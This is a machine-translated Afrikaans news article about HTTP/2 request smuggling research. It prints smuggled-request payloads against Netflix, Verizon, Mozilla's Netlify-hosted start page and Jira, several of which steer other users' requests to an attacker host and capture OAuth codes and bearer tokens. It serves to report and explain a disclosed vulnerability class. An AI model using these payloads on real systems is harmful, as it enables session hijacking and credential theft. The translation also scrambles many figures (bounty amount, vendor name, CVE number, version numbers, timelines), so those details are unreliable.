Webstelsels waarin die frontend verbindings via HTTP/2 aanvaar en via HTTP/1.1 na die backend oordra, is blootgestel aan 'n nuwe variant van die HTTP Request Smuggling-aanval, wat dit moontlik maak om, deur spesiaal ontwerpte kliëntversoeke te stuur, in die inhoud in te wig. van versoeke van ander gebruikers verwerk in dieselfde vloei tussen frontend en backend. Die aanval kan gebruik word om kwaadwillige JavaScript-kode in 'n sessie met 'n wettige webwerf in te voeg, toegangsbeheerstelsels te omseil en verifikasieparameters te onderskep.
Die probleem raak webgevolmagtigdes, lasbalanseerders, webversnellers, inhoudafleweringstelsels en ander konfigurasies waarin versoeke herlei word volgens die front-end-backend-skema. Die skrywer van die studie het die vermoë gedemonstreer om stelsels op Netflix, Verizon, Bitbucket, Netlify CDN en Atlassian aan te val, en het $56 5 aan kwesbaarheidsprogramme ontvang. Die probleem is ook in F2021 Networks-produkte bevestig. Die probleem raak gedeeltelik mod_proxy in die Apache http-bediener (CVE-33193-2.4.49), 'n oplossing word verwag in weergawe 3 (die ontwikkelaars is vroeg in Mei van die probleem in kennis gestel en het 1.21.1 maande ontvang om dit reg te stel). In nginx is die vermoë om die "Content-Length" en "Transfer-Encoding"-opskrifte terselfdertyd te spesifiseer in die laaste vrystelling (XNUMX). Aanvalgereedskap is reeds by die Burp-gereedskapstel gevoeg en is beskikbaar as 'n Turbo Intruder-uitbreiding.
Die beginsel van werking van die nuwe metode om versoeke in die verkeer in te wig is soortgelyk aan die kwesbaarheid wat twee jaar gelede deur dieselfde navorser geïdentifiseer is, maar beperk tot frontends wat versoeke via HTTP/1.1 aanvaar. Onthou dat in die frontend-agterkantskema, kliëntversoeke deur 'n bykomende nodus ontvang word - die voorkant, wat 'n langlewende TCP-verbinding tot stand bring met die agterkant wat versoeke direk verwerk. Deur hierdie gemeenskaplike verbinding word versoeke van verskillende gebruikers gewoonlik versend, wat die ketting een na die ander volg, geskei deur middel van die HTTP-protokol.
Die klassieke "HTTP Request Smuggling"-aanval was gebaseer op die feit dat frontends en backends die gebruik van die HTTP-opskrifte "Content-Length" (bepaal die totale grootte van die data in die versoek) en "Transfer-Encoding: chunked" interpreteer ( laat die oordrag van data in dele) anders toe. Byvoorbeeld, as die frontend net "Content-Length" ondersteun, maar "Transfer-Encoding: chunked" ignoreer, dan kan 'n aanvaller 'n versoek stuur wat beide die "Content-Length" en "Transfer-Encoding: chunked"-opskrifte bevat, maar die grootte is "Inhoud-Length" stem nie ooreen met die grootte van die stukkies ketting nie. In hierdie geval sal die frontend die versoek verwerk en herlei volgens die "Content-Length", en die backend sal wag vir die blok om te voltooi gebaseer op "Transfer-Encoding: chunked" en die oorblywende stert van die aanvaller se versoek sal wees aan die begin van die buitelandse versoek volgende versend.
Anders as die teksprotokol HTTP/1.1, wat op die lynvlak ontleed word, is HTTP/2 'n binêre protokol en manipuleer datablokke van 'n voorafbepaalde grootte. HTTP/2 gebruik egter pseudo-opskrifte wat ooreenstem met gewone HTTP-opskrifte. Wanneer interaksie met die backend via HTTP/1.1 is, vertaal die frontend hierdie pseudo-opskrifte in soortgelyke HTTP/1.1 HTTP-opskrifte. Die probleem is dat die backend besluite neem oor die ontleding van die stroom gebaseer op die HTTP-opskrifte wat deur die frontend gestel is, sonder om die parameters van die oorspronklike versoek te ken.
Insluitend in die vorm van pseudo-opskrifte, kan die waardes "inhoud-lengte" en "oordrag-enkodering" oorgedra word, ondanks die feit dat dit nie in HTTP / 2 gebruik word nie, aangesien die grootte van alle data bepaal word in 'n aparte veld. In die proses om 'n HTTP/2-versoek na HTTP/1.1 om te skakel, word hierdie opskrifte egter oorgedra en kan dit die agterkant verwar. Daar is twee hoofaanvalopsies: H2.TE en H2.CL, waarin die agterkant mislei word deur 'n verkeerde oordragkodering of inhoudlengtewaarde wat nie ooreenstem met die werklike grootte van die versoekliggaam wat deur die frontend ontvang is via die HTTP / 2 protokol.
As 'n voorbeeld van 'n H2.CL-aanval, is die inhoudlengte pseudo-opskrif verkeerd gevorm wanneer 'n HTTP/2-versoek na Netflix gestuur word. Hierdie versoek lei tot die byvoeging van 'n soortgelyke Content-Length HTTP-opskrif wanneer toegang tot die backend via HTTP/1.1 verkry word, maar aangesien die grootte in die Content-Length minder is as die werklike grootte, word sommige van die data in die stert verwerk as die begin van die volgende versoek.
Byvoorbeeld, 'n HTTP/2-versoek :metode POST :pad /n :owerheid www.netflix.com inhoudlengte 4 abcdGET /n HTTP/1.1 Gasheer: 02.rs?x.netflix.com Foo: bar
Sal 'n versoek na die agterkant stuur: POST /n HTTP/1.1 Gasheer: www.netflix.com Inhoudlengte: 4 abcdGET /n HTTP/1.1 Gasheer: 02.rs?x.netflix.com Foo: bar
Aangesien die inhoud-lengte op 4 gestel is, sal die agterkant slegs "abcd" as die versoekliggaam aanvaar, en die res van die "GET /n HTTP/1.1 ..." verwerk as die begin van die volgende versoek wat aan 'n ander gebruiker gebind is. Gevolglik sal die stroom nie gesinkroniseer word nie, en in reaksie op die volgende versoek sal die resultaat van die verwerking van die vals versoek teruggestuur word. In die geval van Netflix, het die spesifikasie van 'n derdeparty-gasheer in die "Host:"-opskrif in 'n bedrieglike versoek gelei tot die reaksie "Location: https://02.rs?x.netflix.com/n" aan die kliënt en toegelaat dat arbitrêre inhoud aan die kliënt oorgedra word, insluitend die uitvoering van jou JavaScript-kode in die konteks van die Netflix-werf.
Die tweede variant van die aanval (H2.TE) word geassosieer met die vervanging van die "Transfer-Encoding: chunked" kopskrif. Die gebruik van die oordrag-enkodering pseudo-header in HTTP/2 word deur die spesifikasie verbied en versoeke daarmee word voorgeskryf om as verkeerd hanteer te word. Ten spyte hiervan ignoreer sommige frontend-implementerings hierdie vereiste en laat die gebruik van die oordrag-enkodering pseudo-kop in HTTP/2 toe, wat vertaal word na 'n soortgelyke HTTP-kop. As die "Transfer-Encoding"-kopskrif teenwoordig is, kan die backend dit as 'n prioriteit neem en die data in dele in die "chunked"-modus ontleed deur blokke van verskillende groottes in die formaat "{size}\r\n{block} te gebruik. \r\n{grootte} \r\n{blok}\r\n0" ten spyte van die aanvanklike verdeling volgens algehele grootte.
Die teenwoordigheid van so 'n gaping is gedemonstreer deur die voorbeeld van Verizon. Die probleem het egter betrekking op die verifikasieportaal en inhoudbestuurstelsel, wat ook deur werwe soos Huffington Post en Engadget gebruik word. Byvoorbeeld, 'n kliëntversoek oor HTTP/2: :metode POST :pad /identitfy/XUI :authority id.b2b.oath.com oordrag-enkodering in stukkies 0 GET /oops HTTP/1.1 Gasheer: psres.net Inhoudlengte: 10 x=
Veroorsaak HTTP/1.1-versoek na backend: POST /identity/XUI HTTP/1.1 Gasheer: id.b2b.oath.com Inhoud-Lengte: 66 Oordrag-enkodering: chunked 0 GET /oeps HTTP/1.1 Gasheer: psres.net Inhoud- Lengte : 10x=
Die agterkant het op sy beurt die "Content-Length"-opskrif geïgnoreer en die verdeling in die stroom gedoen op grond van "Transfer-Encoding: chunked". In die praktyk het die aanval dit moontlik gemaak om gebruikersversoeke na u webwerf te herlei, insluitend die onderskepping van versoeke wat verband hou met OAuth-verifikasie, waarvan die parameters in die verwyser-opskrif verskyn het, sowel as om 'n stawingsessie te simuleer en die stuur van gebruikersbewyse na die aanvaller se gasheer. KRY /b2blanding/show/oops HTTP/1.1 Gasheer: psres.net Verwyser: https://id.b2b.oath.com/?…&code=secret KRY / HTTP/1.1 Gasheer: psres.net Magtiging: Draer eyJhcGwiOiJIUzI1Gi1sInR6cCI6…
Om HTTP/2-implementerings aan te val wat nie die spesifikasie van die oordrag-kodering pseudo-opskrif toelaat nie, is 'n ander metode voorgestel wat die vervanging van die "Transfer-Encoding"-opskrif behels deur dit aan ander pseudo-opskrifte geskei deur 'n nuwelynkarakter (wanneer dit omgeskakel word) aan te heg. na HTTP/1.1 in hierdie geval, word twee afsonderlike HTTP-opskrifte geskep).
Byvoorbeeld, Atlassian Jira en Netlify CDN (wat gebruik word om die Mozilla-beginbladsy in Firefox te bedien) is deur hierdie probleem geraak. Spesifiek, die HTTP/2-versoek :metode POST :pad / :authority start.mozilla.org foo b\r\n oordrag-enkodering: in stukkies 0\r\n \r\n KRY / HTTP/1.1\r\n Gasheer : evil-netlify-domain\r\n Inhoud-lengte: 5\r\n \r\nx=
het veroorsaak dat 'n HTTP/1.1 POST/HTTP/1.1-versoek na die agterkant gestuur is\r\n Gasheer: start.mozilla.org\r\n Foo: b\r\n Oordrag-enkodering: chunked\r\n Inhoud- Lengte: 71\ r\n \r\n 0\r\n \r\n KRY / HTTP/1.1\r\n Gasheer: evil-netlify-domein\r\n Inhoud-lengte: 5\r\n \ r\nx=
Nog 'n opsie om die "Transfer-Encoding"-opskrif te vervang, was om dit aan die naam van 'n ander pseudo-kopskrif of aan 'n string met 'n versoekmetode te heg. Byvoorbeeld, wanneer toegang tot Atlassian Jira verkry word, het die naam van die pseudo-opskrif "foo: bar\r\ntransfer-encoding" met die waarde "chunked" gelei tot die byvoeging van die HTTP-opskrifte "foo: bar" en "transfer-encoding" : chunked", en spesifikasie in pseudo-header ":metode" van die waarde "GET / HTTP/1.1\r\nOordrag-encoding: chunked" is vertaal in "GET / HTTP/1.1\r\ntransfer-encoding: chunked" .
Die navorser wat die probleem geïdentifiseer het, het ook 'n versoektonneltegniek voorgestel om die frontends aan te val, waarin 'n aparte verbinding met die backend vir elke IP-adres tot stand gebring word en die verkeer van verskillende gebruikers nie gemeng word nie. Die voorgestelde tegniek laat jou nie toe om by ander gebruikers se versoeke in te gryp nie, maar dit maak dit moontlik om die gedeelde kas te vergiftig, wat die verwerking van ander versoeke beïnvloed, en laat jou toe om die vervanging van interne HTTP-opskrifte uit te voer wat gebruik word om diensinligting oor te dra van die voorkant na die agterkant (byvoorbeeld, wanneer verifikasie aan die voorkantkant in sulke kopskrifte inligting oor die huidige gebruiker na die agterkant kan stuur). As 'n voorbeeld van die toepassing van die metode in die praktyk, met behulp van kasvergiftiging, was dit moontlik om beheer oor die bladsye in die Bitbucket-diens te verkry.
Bron: opennet.ru